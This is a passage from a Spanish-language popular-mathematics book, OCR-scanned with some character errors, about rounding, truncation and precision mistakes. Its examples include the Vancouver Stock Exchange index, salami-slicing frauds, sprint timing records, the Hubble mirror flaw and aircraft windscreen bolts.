cifra significativa, y, por lo tanto, 0,77 % era diferente de 1 %. Asi acab6 el caso mas importante
de mi carrera (redondeado al siguiente caso entero).




Forofos del 0,49

La administracion Trump considerd un coeficiente del 3,49 por una buena razon. Aunque el 3,5 habria
permitido incluso un margen mas amplio, habria resultado ambiguo, ya que no se sabria si redondearlo hacia
arriba o hacia abajo, mientras que esta claro que un 3,49 se redondea hacia abajo.

Cuando se redondea al nimero entero mas cercano, todo lo que esta por debajo de 0,5 se redondea
hacia abajo, y todo lo que esta por encima, hacia arriba. Pero 0,5 esta exactamente entre los dos niimeros
enteros posibles, asi que no hay ganador obvio.

La mayoria de las veces lo habitual es redondear 0,5 hacia arriba. Si hubiera originalmente algo después
del 5 (por ejemplo, si el nimero era algo asi como 0,5000001), entonces lo correcto es redondear hacia
arriba. Pero redondear siempre los 0,5 hacia arriba puede hinchar la suma de una serie de nimeros. Una
solucion es redondear siempre hacia el nimero par mas cercano, con la teoria de que ahora cada 0,5 tiene
una probabilidad aleatoria de ser redondeado hacia arriba o hacia abajo. Esto elimina el sesgo hacia arriba,
pero ahora produce una desviacion hacia los numeros pares, lo cual podria, hipotéticamente, provocar otros
problemas.

Redondeo Redondeo hacia
hacia arriba los niimeros pares

05 1 0
1 1 1
1,5 2 2
2 2 2
25 3 2
3 3 3
35 4 4
4 4 4
45 5 4
5 5 5
55 6 6
6 6 6
6,5 7 6
7 7 7
75 8 8
8 8 8
8,5 9 8
9 9 9
95 10 10
10 10 10

Suma: 105 110 105

Los numeros de 0,5 a 10 dan un total de 105. Al redondear cada numero hacia arriba aumenta el total a
110, mientras que redondearlo hacia el numero par mantiene la suma en 105. Sin embargo, ahora tres
cuartas partes de los numeros son pares.

Arreglando el problema técnico




En enero de 1982, la bolsa de Vancouver lanz6 un indice que media qué cantidad de las diversas
acciones que se habian intercambio valian la pena. Un «indice» de un mercado bursatil es un
intento de monitorizar los cambios en los precios de una muestra de acciones como indicativo
general sobre como se esta moviendo el mercado. El indice FTSE 100 es un promedio ponderado
de las cien empresas mas importantes (por su valor de mercado total) en la bolsa de Londres. El
Dow Jones se calcula a partir de la suma de los precios de las acciones de las treinta empresas
mas importantes de Estados Unidos (donde la General Electric estd desde inicios del siglo XX y
Apple solo desde 2015). La bolsa de Tokio tiene el indice Nikkei. Vancouver queria tener su
propio indice.

Asi que naci6 el indice de la bolsa de Vancouver. No le pusieron el nombre mas creativo
para un indice bursatil, pero era compresible: el indice era un promedio de mas o menos las 1.500
empresas que participaban en la bolsa. Inicialmente, se le dio al indice un valor de 1.000 y, a
partir de entonces, el movimiento del mercado haria fluctuar el valor hacia arriba o hacia abajo.
Excepto que fue mucho mas hacia abajo que hacia arriba. Incluso cuando parecia que al mercado
le iba bien, el indice de la bolsa de Vancouver seguia cayendo. En noviembre de 1983, cerré una
semana con 524,811 puntos, casi la mitad de su valor inicial. Pero el mercado bursatil no habia
caido a la mitad de su valor. Algo estaba mal.

El error estaba en el modo en el que los ordenadores realizaban los célculos del indice. Cada
vez que cambiaba el valor de alguna accion, algo que ocurria unas tres mil veces cada dia, el
indice actualizaba su valor mediante un calculo. Este calculo producia un valor con cuatro cifras
decimales, pero la version que se daba del indice al publico tenia solo tres; el ultimo digito se
eliminaba. Hay que aclarar que el valor no se redondeaba: simplemente se descartaba el ultimo
digito. Este error no se hubiera producido si los valores se hubieran redondeado (lo cual hubiera
sido tantas veces hacia arriba como hacia abajo), en lugar de recortado. Cada vez que se realizaba
un calculo, el valor del indice bajaba un poquito.

Cuando la bolsa se percatd de lo que estaba sucediendo, llamaron a algunos asesores a los
que les llevo tres semanas recalcular cudl tendria que haber sido el indice sin el error. Durante
una noche, en noviembre de 1983 y después de recalcularlo, el indice paso6 del incorrecto 524,811
a 1.098,892. Eso supone un incremento de 574,081 durante una noche sin estar asociado a ningln
cambio producido en el mercado.l No tengo ni idea de como respondieron los operadores a un
salto inesperado como ese; como si hubiera sido una especie de anticrac. En lugar de saltar,
entraron por la ventana y expulsaron cocaina por sus narices.

Usted también puede utilizar los redondeos en sus miniestafas. Digamos por ejemplo que
alguien le presta 100 euros y le promete devolvérselo en un mes con un 15 % de intereses. Eso
haria un total de 15 euros de intereses. Pero, dado que usted es supergeneroso, le ofrece calcular
el interés una vez al dia durante los 31 dias del mes que tiene para devolver el dinero y, para
simplificar las cosas (porque, ;quién quiere vérselas con unas matematicas complicadas?), todos
los calculos se redondearan hacia la cifra de euro mas cercana.

Sin redondeos, el interés compuesto durante un mes seria de 16,14 euros v, si lo que hacemos
es redondear hacia la cifra entera de euro mas cercana es... 0. Ningin interés. Dividido entre 31
dias, el 15 % es 0,484 % por dia. Por lo que, después del primer dia, el dinero que debe asciende
a 100,484 euros, pero, dado que redondea hacia la cifra entera mas cercana, esos 0,484 euros



desaparecen y de nuevo debe 100 euros. Esto se repite cada dia y su deuda nunca acumula interés
alguno. También tiene el efecto colateral de redondear hacia abajo el nimero de personas que le
prestaran dinero a coste cero.

Si se redondean los suficientes nimeros en una cantidad diminuta, aunque cada redondeo
individual pueda ser demasiado pequefio para que se note, se puede producir un resultado
acumulado considerable. El término «salami s/icing» (recorte progresivo) se utiliza para referirse
a un sistema en el que se va quitando algo gradualmente pero cada vez es una cantidad tan pequefia
que casi es imperceptible. Cada rodaja que se le quita al salami puede ser tan delgada que el
salami no parece diferente, por lo que, si se repite las suficientes veces, se puede haber cortado,
con sutileza, un buen pedazo. El salami también es una buena analogia porque estd compuesto por
carne picada, por lo que todas las rodajas de salami se podrian recomponer a posteriori y formar
de nuevo una salchicha funcional. Y me gustaria dejar bien claro que no estoy intentando meter la
frase «salchicha funcional» en este libro por una apuesta.

Un ataque mediante un redondeo a la baja con un recorte progresivo formaba parte del
argumento de la pelicula de 1999 Trabajo basura (y lo mismo ocurria en Superman III). Los
protagonistas alteran el codigo informatico de una empresa para que, cuando se calcule el interés,
en lugar de redondearse hacia el penique mas cercano el valor sea truncado y las fracciones
restantes de un penique fueran depositadas en su cuenta. Al igual que ocurri6 con el indice de la
bolsa de Vancouver, este caso podria haber pasado inadvertido mientras las fracciones de esos
peniques se iban sumando gradualmente.

Parece ser que la mayoria de estafas del mundo real que utilizan el recorte progresivo
utilizan cantidades mas grandes que simples fracciones de un penique, pero siguen operando por
debajo del umbral a partir del cual la gente se da cuenta y se queja. Un malversador de un banco
escribio un software para retirar veinte o treinta centavos de cuentas al azar, nunca atacando a la
misma cuenta mas de tres veces en un afio. Dos programadores de una empresa de Nueva York
incrementaron las retenciones fiscales en todos los cheques que pagaba la empresa en dos
centavos cada semana, pero enviaban el dinero a sus propias cuentas de retenciones por lo que
ingresaban todo ese dinero como devolucion de impuestos al final del afio. Existen rumores de que
un empleado de un banco canadiense utilizo la estafa del redondeo de intereses para hacerse con
70.000 dolares (y solo fue descubierto cuando el banco buscd la cuenta mas activa para
concederle un premio), pero no he podido encontrar ninguna prueba que respalde esa historia.

Con esto no estoy diciendo que no existan efectos del recorte progresivo que puedan causar
problemas. Las empresas de Estados Unidos tienen que retener un 6,2 % del sueldo de sus
empleados como impuestos de la Seguridad Social. Si una compaiiia tiene suficientes empleados,
calcular el 6,2 % que deben individualmente y redondear cada pago podria dar un total
ligeramente diferente de si el total de las ndminas se multiplicara por 6,2 %. Dispuesto a no pasar
por alto ningln truco, el Servicio de Impuestos Internos tiene una opcidn de «ajuste de fracciones
de céntimos» en los formularios de los impuestos de las empresas para asegurarse de esta forma
de que se contabiliza hasta el ultimo centavo.

El cambio de moneda también puede causar problemas, ya que los valores mas pequeios de
los diferentes paises son distintos. Una buena parte de Europa utiliza el euro como moneda (cada
euro equivale a cien céntimos), pero Rumania sigue utilizando el leu (un leu son cien bani).
Cuando estoy escribiendo esto, el tipo de cambio es de 4,67 lei (plural de leu) por un euro, lo que



significa que un céntimo de euro vale mas que un bani. Si llevaramos dos bani a una casa de
cambio de moneda, redondearian a cero céntimos y no nos darian nada. O es posible hacer que el
redondeo vaya a nuestro favor y ocultarlo en una transaccion menos sospechosa: 11 leu equivalen
a 2,35546 euros, que se redondearian hacia arriba y nos darian 2,36 euros. Al cambiarlo de nuevo
obtendriamos 11,02 lei. Suponiendo que no haya cargos por la transaccion, tenemos 2 bani de
beneficio neto.

En 2013, el doctor rumano Adrian Furtuna, investigador en seguridad, intent6 algo parecido:
hacer transacciones de moneda a través de un banco en el que el redondeo del euro le reportaria
alrededor de medio céntimo cada vez. Pero el banco que Furtuna estaba utilizando requeria un
codigo de un dispositivo de seguridad para cada transaccién, por lo que construyd un aparato que
tecleara automaticamente los nimeros requeridos en su dispositivo para cada transaccion y leyera
el codigo que le enviaban. Esto significa que podia colocar 14.400 transacciones por dia, con lo
que obtenia 68 euros diarios. En realidad, nunca lo hizo: Furtuna habia sido contratado por el
banco para que pusiera a prueba su seguridad y no tenia permiso para intentarlo con el sistema
bancario real.

Yo, por otro lado, intenté mi propio «recorte progresivo» en el mundo real cuando vivia en
Australia. En 1992, Australia retir6 de la circulacion las monedas de uno y dos céntimos, por lo
que la cantidad utilizable mas pequena cuando se pagaba en metalico es ahora una moneda de
cinco céntimos. Por lo tanto, al pagar en metalico el coste total se redondea hacia arriba o hacia
abajo para llegar a la cifra de cinco céntimos mas cercana. Mi plan era sencillo: pagaba en
metalico siempre que el redondeo fuera a mi favor, es decir hacia abajo, y pagaba con tarjeta
cuando se hubiera redondeado hacia arriba. Mas o menos en la mitad de mis compras jestaba
ahorrando centavos! Era una especie de genio criminal en pequeio.

Errores a la carrera

El récord mundial de los 100 metros lisos es uno de los logros deportivos mas prestigiosos, y la
Federacion Internacional de Atletismo (IAAF por sus siglas en inglés) lo lleva registrando desde
hace mas de un siglo. Cuando, en 1912, la IAAF empezd a registrar los tiempos, el récord
masculino era de 10,6 segundos y se ha ido rebajando desde entonces. En 1968 bajo hasta los 9,9
segundos, rompiendo por fin la barrera de los diez segundos. Y entonces, el velocista
norteamericano Jim Hines batio de nuevo el récord mundial dejandolo en 9,95 segundos. Que era
un tiempo mayor que el anterior récord.

El tiempo marcado por Jim Hines en 1968 de 9,95 segundos fue el primer récord mundial en
el que se utilizaron dos cifras decimales y, de esta manera, batid el anterior récord del mundo de
9,9 segundos registrado hacia cuatro meses. Acababa de empezar el cronometraje electronico, que
daria lugar a un nuevo nivel de precision: las centésimas de segundo. El récord anterior de 9,9
segundos también pertenecia a Hines, por lo que, al parecer, cuando se instaurd el uso del
cronometraje electrénico cambiaron su récord para que fuera el peor posible que pudiera seguir
registrado como 9,9 segundos redondeado a la décima de segundo mas cercana.

El material utilizado para el cronometraje siempre ha influido en los récords medidos. En la
década de 1920, se utilizaban tres relojes diferentes controlados manualmente para evitar los
errores de cronometraje. Pero solo eran precisos hasta la quinta parte de segundo mas cercana,



por lo que el récord de 10,6 segundos se establecio en julio de 1912, y los 10,4 segundos no se
alcanzaron hasta abril de 1921. Suponiendo que los velocistas eran cada vez mejores a un ritmo
constante,2 he calculado que, alrededor de junio de 1917, algun pobre corredor seguramente
corrio los 100 metros en 10,5 segundos, pero ningun reloj era lo suficientemente bueno para dejar
constancia de ello.

También se cambid la precision cuando se pas6d de tomar el tiempo de manera manual a
hacerlo electronicamente. Es mas acertado confiar tanto la salida como la llegada a un crondémetro
electronico que a los humanos, con sus tiempos de reaccidon tan poco rigurosos. A menudo, la
precision y la exactitud van de la mano, pero son dos cosas muy diferentes. La precision es el
nivel de detalle dado, y la exactitud es cuan verdadero es algo. Yo puedo decir con exactitud que
naci en la Tierra, pero no es algo muy preciso. Puedo decir con precision que naci en la latitud
37.229°N, longitud 115.811°W, pero eso no es del todo exacto. Lo que nos da un montén de
espacio para maniobrar cuando respondemos preguntas si quien pregunta no nos pide que seamos
precisos y exactos. Siendo exacto puedo decir, por ejemplo, que alguien se ha bebido toda la
cerveza. Siendo preciso diria que un albanés que tiene varios récords mundiales de Tetris se ha
bebido toda la cerveza. Pero preferiria no ser preciso y exacto al mismo tiempo, ya que podria
incriminarme.

Por lo tanto, mientras que el aumento de la exactitud nos posibilita tener récords del mundo
de 100 metros lisos mas exactos, el aumento de la precision nos da mas récords. Durante las dos
décadas que van de 1936 a 1956, once personas diferentes igualaron la marca de 10,2 segundos,
hasta que, finalmente, alguien la bajo a 10,1 segundos. Con la precision afiadida que ofrece el
cronometraje electronico, muchas de esas personas podrian haber logrado sus propios récords
mundiales.

No hay razon alguna por la que no pudiéramos tener sistemas de cronometraje mas precisos
en el futuro y tener la misma situacion al pasar de centésimas de segundo a milisegundos. Creo que
eso sucedera cuando los récords estén cerca del limite de la capacidad humana. Cuando los
humanos no podamos mejorar mas, no importa cuantas carreras tengamos ni lo similar que sea el
nivel de todos los velocistas, siempre habrd otra posicion decimal de precision por la que
competir.3

El récord de 100 metros lisos no es el unico caso de competiciones de velocidad que se ha
visto afectado por el redondeo. Me topé con una persona que fue capaz de hacer una estafa cuando
apostaba en las carreras de galgos en algin momento antes de 1992. Al tratarse de un chanchullo
ilegal, no he tenido mucha suerte intentando verificar la historia. Todo lo que tengo es un correo
anonimo del 6 de abril de 1992 al Forum on Risks to the Public in Computers and Related
Systems. El Risks Digest es un boletin de noticias de internet que empezd en 1985 y que sigue
activo. Por regla general, evito historias infundadas, pero esta es demasiado divertida para
pasarla por alto. Si alguien puede confirmarla o refutarla, me encantaria que me lo dijese.

Segin dicen, los corredores de apuestas de Las Vegas estaban utilizando un sistema
informatico para realizar sus apuestas en las carreras de galgos. El sistema permitia que se
colocaran apuestas hasta la hora limite oficial, que, segun establecia la ley de Nevada, era de unos
pocos segundos antes de que se abrieran las puertas y los galgos empezaran a correr. Después de
este intervalo de tiempo, se consideraba que la carrera habia empezado, por lo que no se



permitian mas apuestas. Una vez que habia acabado la carrera, se anunciaba el ganador. Por lo que
los pasos clave eran: las apuestas se habrian «cerrado», la carrera habria «empezado» y el
ganador se habria «anunciadoy.

El problema era que el software utilizado se habia adaptado de otro software utilizado en las
carreras de caballos. En el estado de Nevada, el tiempo de «cierre» para una carrera de caballos
era cuando el primer caballo entraba en su puesto de salida, lo cual podia pasar unos minutos
antes de que empezase la carrera. Después del «inicio» de la carrera de caballos, pasaban unos
minutos hasta que esta se acababa y se «anunciaba» el ganador. El sistema almacenaba el tiempo
solo en horas y minutos, pero era lo suficientemente preciso para garantizar que nadie pudiera
seguir colocando apuestas después de que hubiera empezado la carrera de caballos.

En el mundo de la alta velocidad de las carreras de galgos, las apuestas para una carrera se
podian cerrar, la carrera empezar y el ganador anunciar en un minuto. Por lo que la carrera ya
podria tener ganador, pero podria ser que el sistema no hubiera registrado todavia el cierre de
apuestas porque el minuto no habia cambiado. Algunas personas astutas se dieron cuenta de que
podian esperar a ver qué galgo habia ganado la carrera y todavia apostar por él.

La importancia de las cifras

Los humanos desconfiamos mucho de los nimeros redondos. Estamos acostumbrados a que los
datos sean muy confusos y poco claros. Interpretamos los nimeros redondos como una sefial de
que los datos han sido redondeados. Si alguien dice que el camino hasta su trabajo tiene 1,5
kilometros, sabemos que no es que sean 1.500 metros, sino que mas bien ha redondeado hasta el
medio kilometro mas cercano. Sin embargo, si dijeran que su camino al trabajo es de 149.764
centimetros, pensariamos que ha llevado la procrastinaciéon a un nivel de récord.

En 2017 se propago6 la idea de que, si Estados Unidos cambiara toda su produccion de
electricidad proveniente del carbon a hacerlo a partir de la energia solar, se salvarian 51.999
vidas cada afio, un nimero especifico un poco extrafio. Da la impresion de que no ha sido
redondeado; jfijese en todos esos nueves! Pero a mi me da la impresion de que se trata de dos
nimeros de diferente tamafio que se han combinado y han dado como resultado un nivel
innecesario de precision. He mencionado en este libro que el universo tiene 13.800 millones de
antigiiedad. Pero eso no quiere decir que si lo estd leyendo tres afios después de su publicacion el
universo tenga ahora 13.800.000.003 afios. Los nimeros con diferentes ordenes de magnitud (el
tamafio de los niimeros) no se pueden sumar y restar entre ellos de forma significativa.

La cifra de 51.999 era la diferencia entre las vidas salvadas si no se utilizara el carbon y las
muertes causadas por la energia solar. Una investigacion previa de 2013 habia llegado a la
conclusion de que las emisiones de las centrales eléctricas que utilizan carbon como combustible
provocaban unas 52.000 muertes al afio. La industria solar fotovoltaica era todavia demasiado
escasa para tener ninguna muerte registrada. Por lo que los investigadores utilizaron las
estadisticas procedentes de la industria de los semiconductores (cuyos procesos de produccion
eran muy parecidos y también utilizan productos quimicos peligrosos) para calcular que la
fabricacion de paneles solares causaria una muerte por afio. Asi nos salen 51.999 vidas salvadas
por afio. Facil.



El problema era que el valor inicial de 52.000 era una cifra redonda con solo dos cifras
significativas y ahora, de repente, tenia cinco. Consulté el estudio de 2013, y la cifra original era
de 52.200 muertes al afio. Y esa ya era una aproximacion (para todos los aficionados a las
estadisticas, el valor de 52.200 tiene un intervalo de confianza del 90 %, de 23.400 a 94.300). La
investigacion de 2013 sobre las muertes en el caso de las centrales eléctricas que utilizan carbén
se habia redondeado a la cifra de 52.000 pero, si revertimos el redondeo a 52.200, entonces, la
energia solar, jpuede salvar 52.199 vidas! jHemos salvado a doscientas personas mas!

Puedo adivinar por qué, por razones politicas, se utilizo la cifra de 51.999: para llamar la
atencion sobre la Unica muerte esperada por la produccion de paneles solares y de esa forma
enfatizar lo segura que es. Y esa precision extra hace que un numero parezca mas indiscutible. La
menor precision de un nimero redondo hace que parezca que es menos exacto, incluso a pesar de
que, por lo general, no es asi. Esos ceros al final de la cifra también pueden formar parte de su
precision. Una de cada millén de personas vivird sin darse cuenta a un niimero exacto de
kilometros (de puerta a puerta) de su trabajo, ajustada al milimetro mas cercano.

La primera altura oficial del monte Everest era de 29.002 pies (8.840 metros). Esta es la
clase de cifra especifica que esperarias después de décadas de mediciones y calculos. En 1802,
los britanicos iniciaron el Gran Proyecto de Topografia Trigonométrica (GTS por sus siglas en
inglés), un estudio integral del subcontinente indio. En 1831, Radhanath Sikdar, un prometedor
estudiante de matematicas de Calcuta que sobresalia en la trigonometria esférica necesaria para
los estudios geodésicos, se unid al GTS.

En 1852, Sikdar estaba trabajando con los datos procedentes de una cadena montafiosa
cercana a Darjeeling. Utilizando seis medidas diferentes para calcular la altura del «Pico XV, el
numero final fue de alrededor de 29.000 pies. Irrumpid en el despacho de su jefe para decirle que
habia descubierto la montafia mas alta del mundo. Por entonces, el GTS estaba dirigido por
Andrew Waugh, quien, después de varios afios comprobando la altura, anuncié en 1856 que el
Pico XV era la montafia mas alta del mundo y la bautizé con el apellido de su predecesor, George
Everest.

Pero se rumoreaba que el nimero original de Sikdar era exactamente 29.000 pies. En este
caso, todas esas eran cifras importantes, pero el publico no las veria asi. Supondrian que el valor
seria «aproximadamente 29.000 pies». Y la gente no aceptaria que se reivindicase el titulo de
montafia mas alta del planeta si los calculos parecian insuficientemente precisos. Por lo que se
anadieron dos pies ficticios. Al menos, es asi como se cuenta la historia. La altura oficial
registrada en 1856 fue definitivamente 29.002 pies, pero no he podido encontrar ninguna prueba
de que los célculos iniciales dieran una cifra de 29.000 pies exactos. Ni tampoco de donde salid
el rumor sobre el redondeo.

Pero incluso si este caso concreto no es cierto, no dudo de que muchos valores
aparentemente precisos han sido modificados sutilmente desviandolos de un nimero
accidentalmente redondo para hacerlos parecer tan precisos como son realmente.

Importancia significativa



En febrero de 2017, la BBC present6 un informe de la Oficina Nacional de Estadistica (ONS por sus siglas
en inglés) en el que se decia que en los tres Gltimos meses de 2016 «el desempleo en el Reino Unido bajo
en 7.000 personas, situandose en 1,6 millones de personas». Pero este cambio de siete mil estda muy por
debajo del nimero de 1,6 millones que se habia redondeado. El matematico Matthew Scroggs sefialo
rapidamente que, basicamente, lo que la BBC estaba diciendo era que el desempleo habia pasado de 1,6
millones a 1,6 millones.

Un cambio por debajo de la precision del nimero original carece de sentido. Algunas personas
sefialaron que un cambio de siete mil puestos de trabajo estaba dentro del ambito de una tinica empresa que
hubiese cerrado y que no era un niimero significativo para esperar que produjese cambios en la economia en
su conjunto. Y asi es, y es la razon por la que la ONS estaba redondeando los nimeros de desempleados
hacia el cien mil mas cercano desde el principio.

Mas adelante, 1a BBC actualiz6 el articulo afiadiendo detalles sobre las estadisticas originales que habia
presentado la ONS:

La ONS esta segura al 95% de que su célculo de la caida del desempleo en 7.000 personas es
correcto en una variacion maxima de 80.000, por lo que se considera que la caida no es
estadisticamente significativa.

Por lo que, en realidad, 1a ONS estaba segura de que el desempleo habia cambiado entre un incremento
de 73.000 y un descenso de 87.000. En otras palabras, los niveles de desempleo no habian cambiado mucho,
y parecia que podian ser un poquito mejores en lugar de peores. Ese es un mensaje diferente a dar una
estadistica a toda prisa de «el desempleo cay6 en 7.000» y me alegro de que la BBC actualizara el articulo
para afiadir mas detalles.

Agrupados

Cambiar los relojes al horario de verano puede causar un montoén de estrés a las personas. Si se
olvida, llegard al trabajo una hora antes y se sentird avergonzado, o una hora tarde e igual le
despiden. En mi caso, espero el dia en el que hay que atrasar los relojes ya que asi tengo una hora
mas para dormir. Excepto que yo no lo despilfarro de golpe: lo guardo durante un par de dias,
hasta que lo necesite de verdad. Estoy considerando seriamente quitar una hora cada noche del
viernes, cuando apenas tendria consecuencias, y utilizarla los lunes para asi poder quedarme una
hora mas en la cama.

Adelantar los relojes una hora no tiene las mismas ventajas: desaparece una hora de nuestras
vidas. Pero estar un poco sofioliento no es lo peor que nos puede pasar; el lunes posterior al
adelanto de la hora hacia delante se producen un 24 % mas de ataques al corazon. El horario de
verano mata personas, literalmente.

O, mejor dicho, mata personas, literalmente, en ese dia especifico. El lunes posterior al
adelanto de la hora, cuando se pierde una hora de suefio, se produce un aumento de casos de
ataques cardiacos por encima de la media esperada para un lunes (que ya de por si es el dia en el
que se producen mas ataques de corazon). Y el martes después de que se hayan retrasado los
relojes, lo que nos da una hora mas para dormir, los ataques al corazon disminuyen un 21 %. Tiene
que ver con los cambios de los horarios. No es un caso en el que el combinar nimeros y
redondearlos produzca un problema, sino, mas bien, que al agrupar todos los datos se pone de
manifiesto qué es lo que esta pasando realmente.



Ha habido estudios anteriores en los que se demostraba que los ataques al corazon parecian
estar relacionados con el cambio al horario de verano, por lo que la Universidad de Michigan
puso a sus mejores especialistas cardiovasculares a trabajar en ello. Analizaron la base de datos
del Blue Cross Blue Shield del Consorcio Cardiovascular de Michigan, fijdndose en todos los
cambios de hora realizados entre marzo de 2010 y septiembre de 2013. En este estudio se
controlaron toda clase de factores, incluyendo la compensacion del hecho de que un dia de
veinticinco horas va a tener un 4,2 % extra de todo.

Pero lo que hace que los resultados sean engafiosos es lo grande que es la ventana. Ese
incremento del 24 % resulta de agrupar todos los ataques de corazon durante todo el dia en la
misma categoria. Los investigadores buscaron cudl era el nimero promedio de ataques al corazon
en un lunes de diferentes épocas a lo largo del afio, y el lunes siguiente al cambio al horario de
verano estaba un 24 % por encima de lo esperado. Pero, si en lugar de fijarnos en un solo dia nos
fijamos en toda la semana, el efecto desaparece por completo. Las semanas posteriores a los
cambios al horario de verano mostraban el nimero esperado de ataques al corazon. Solo que se
distribuian de forma diferente durante la semana.

Parece ser que cuando los relojes se adelantan y nos privan de suefio, se producen mas
ataques al corazon, pero solo en personas que, de todas formas, lo habrian tenido en cualquier otro
momento. Simplemente, el ataque al corazon se produyjo antes. E, igualmente, cuando se atrasan los
relojes y tenemos un descanso extra, los ataques al corazon tardan algo mas en aparecer. Esta
podria ser una informacién relevante para la organizacion de los horarios en un hospital, de tal
forma que se pudiese contar con mas personal cuando se adelantan los relojes, pero eso no quiere
decir que el adelanto de la hora sea peligroso en si mismo.

Por lo tanto, ahora sabemos que cuando los relojes se adelantan y atrasan no se incrementa el
namero de ataques al corazon (sino que, en cambio, la falta de suefio puede acelerar la aparicion
de un ataque al corazdn que se habria producido igualmente). Me enoja que siempre que se discute
en los medios de comunicacion sobre el cambio al horario de verano, aparezca esta estadistica
sobre los ataques al corazdn sin hacer mencidn alguna a que es engafiosa y que lo que habria que
utilizar es el nimero de ataques por semana. Ocurrid incluso (en un programa de la radio de la
BBC) mientras estaba escribiendo este libro, y me estresé muchisimo. Ironicamente, el mal uso de
esta estadistica en los medios de comunicacion cada vez que llega el cambio al horario de verano,
jseguramente incrementa mis probabilidades personales de tener un ataque al corazon!



9,49
TAN PEQUENO QUE PASA INADVERTIDO

En algunas ocasiones los pedacitos aparentemente insignificantes que se pierden en el redondeo o
en un promedio son muy importantes. Mientras la precision en la ingenieria moderna mejora
continuamente, los humanos se encuentran a si mismos trabajando con maquinas que manejan
tolerancias que van mas alla de lo que podemos ver con nuestros 0jos o tocar con nuestras manos.

Cuando, en 1990, el telescopio espacial Hubble fue puesto en drbita con un coste de mil
quinientos millones de dodlares, las primeras imagenes que mando fueron decepcionantes. Estaban
desenfocadas. El corazon del telescopio estaba formado por un espejo de 2,4 metros de ancho que
se suponia que era capaz de enfocar al menos el 70 % de la luz procedente de las estrellas en un
punto focal, logrando asi una imagen nitida. Pero resultd que solo enfocaba entre el 10 % yel 15
% de la luz, produciendo una imagen borrosa.

La NASA se puso a trabajar a toda prisa para averiguar qué estaba fallando. Después de
muchos quebraderos de cabeza, los ingenieros y los expertos en Optica dedujeron que el espejo
debia de tener una forma incorrecta. Cuando se fabricd, al espejo se le dio una forma parabodlica y
no era del todo adecuada. Similar, en parte, a un edificio reflectante expuesto al ardiente sol, un
paraboloide es la forma perfecta para concentrar toda la luz entrante en un punto pequeiio. Pero
para crear una imagen nitida es necesaria mas exactitud que la necesaria para dirigir un rayo hacia
un limén con la suficiente luz y quemarlo. El espejo necesitaba ser un paraboloide exacto de un
tipo muy especifico.




Lo que capto inicialmente el Hubble y como se deberia haber visto.

El equipo que investigaba el problema tuvo en consideracion toda clase de errores,
incluyendo el hecho de que el espejo se fabricd con 1G de gravedad y ahora estaba operando a
0G. Resulta que el espejo se fabricd y mont6 sin problema alguno. Después de muchos andlisis se
determind que el espejo principal del Hubble tenia una constante conica (una medida que hace
referencia a la parabola) de —1,0139 cuando tenia que ser de —1,0023.

Esa diferencia no se notaba a simple vista. Los bordes del espejo de 2,4 metros median 2,2
micrémetros menos de lo que deberian. Eso son 2,2 milésimas de un milimetro. Para construir el
espejo con semejante precision, se habian hecho rebotar rayos de luz en su superficie, formando
patrones complejos de interferencia que cambiaban con la mds minima variacion en la distancia.
Era una operacion tan delicada que se tenia que utilizar la longitud de onda de la luz para medir la
forma.

; 1 E"h-—-; ';«"-":5'*'5;-5] :

Espejo principal del Hubble cuando se estaba fabricando. « Puedo verme puliendo ese espejo.»



El error estaba en las opticas que dirigian la luz sobre el espejo para analizar su forma.
Habian sido dispuestas de tal forma que darian una constante conica erronea; el informe oficial
hablaba de un desvio de 1,3 milimetros. Las noticias decian que el error fue una arandela puesta
en el lugar incorrecto, pero eso no aparece en el informe oficial. Se envi6 una mision para reparar
el telescopio espacial para anadir la dptica correctora. Una especie de lentillas para un telescopio
espacial.

La Meca de los errores

Muchos sistemas son lo suficientemente precisos la mayor parte del tiempo, pero fallan en los «casos
extremosy, cuando los errores se amplifican. Una aplicacion que sefiala hacia La Meca tiene que saber, a la
vez, donde estan el teléfono y La Meca, pero solo con una precision baja, suficiente para sefialar en la
direccion correcta desde la mayoria de lugares del planeta. Hasta que alguien la utiliza cerca de la Kaaba (un
edificio situado en el centro de la mezquita mas importante del islam).

Perderia toda la fe en esa aplicacion.

Si el tornillo encaja

He comprado algunas cosas muy raras en internet durante los ultimos afios, pero nada fue tan
dificil de encontrar en paginas web especializadas y muy poco conocidas como los dos montones
de tornillos del escritorio que tengo delante de mi. A la izquierda tengo algunos tornillos A211-7D
y a la derecha algunos del modelo A211-8C. Estan en mi escritorio como resultado de haber
contactado con diversos proveedores de componentes y equipamiento aeroespacial. En la
siguiente foto aparece uno de cada tipo.

Tuve que ser cuidadoso para poder localizarlos, ya que es dificil distinguirlos. Los paquetes
en los que vienen estan etiquetados, pero, una vez que los has sacado de sus cajas no hay marca
alguna en los tornillos para saber si se trata de un 7D o un 8C. En teoria, el 7D mide 0,026
pulgadas mas de ancho (unos 0,66 milimetros) que el 8C, pero, una vez que los tengo entre mis



dedos, me es muy dificil decir cudl es cual. La rosca del 7D también es mas fina que la del 8C,
pero es dificil verlo. Por suerte, el 8C mide 0,1 pulgadas mas de largo (unos 2,5 milimetros), algo
que podemos ver si los alineamos uno junto al otro con sumo cuidado.

Dos tornillos muy diferentes. Hagas lo que hagas, no los mezcles.

Es por esto que siento lastima por el encargado del mantenimiento que hizo el turno de noche
el 8 de junio de 1990 en British Airways en el aeropuerto de Birmingham. Quitd noventa tornillos
del parabrisas de un avion comercial birreactor BAC 1-11 y se dio cuenta de que era necesario
reemplazarlos, pero no tenian sefial alguna. Se llevd uno de los tornillos, bajo del elevador de
seguridad (una plataforma elevada) utilizado para poder llegar a la parte frontal del avion y se
dirigi6 al almacén. Después de comparar meticulosamente el tornillo que llevaba con €l con todos
los que encontro, identifico que se trataba de un tornillo del modelo A211-7D. Ahora entiendo lo
dificil que debid ser. Abri6 la caja y vio que solo quedaban cuatro o cinco.

Empatizo con este tipo. Ni siquiera le tocaba a ¢l sustituir el parabrisas, porque esa noche
iban cortos de personal, y ademas era el jefe, lo hizo para evitar futuros retrasos. Era algo que ya
habia hecho unos afos antes cuando trabajaba para BA y solo con un répido vistazo al manual de
mantenimiento de la aeronave le basto para recordar como se hacia. En el informe del accidente
que se publico solo un afio y medio mas tarde, a nuestro amigo, el jefe de mantenimiento, no se le
nombra en ningiin momento (y con toda la razén). Me gusta referirme a ¢l como Sam (utilizando
las siglas en inglés de su cargo, Shift Maintenance Manager). Me imagino a Sam, a las 3.00 h,
haciendo algo que en realidad no le tocaba hacer, con tan solo cuatro tornillos de los noventa que
necesitaba.

Asi que Sam coge un coche y sale del hangar atravesando el aeropuerto hacia un segundo
almacén de recambios situado bajo la terminal internacional. Esta lloviendo. Todavia lleva en sus
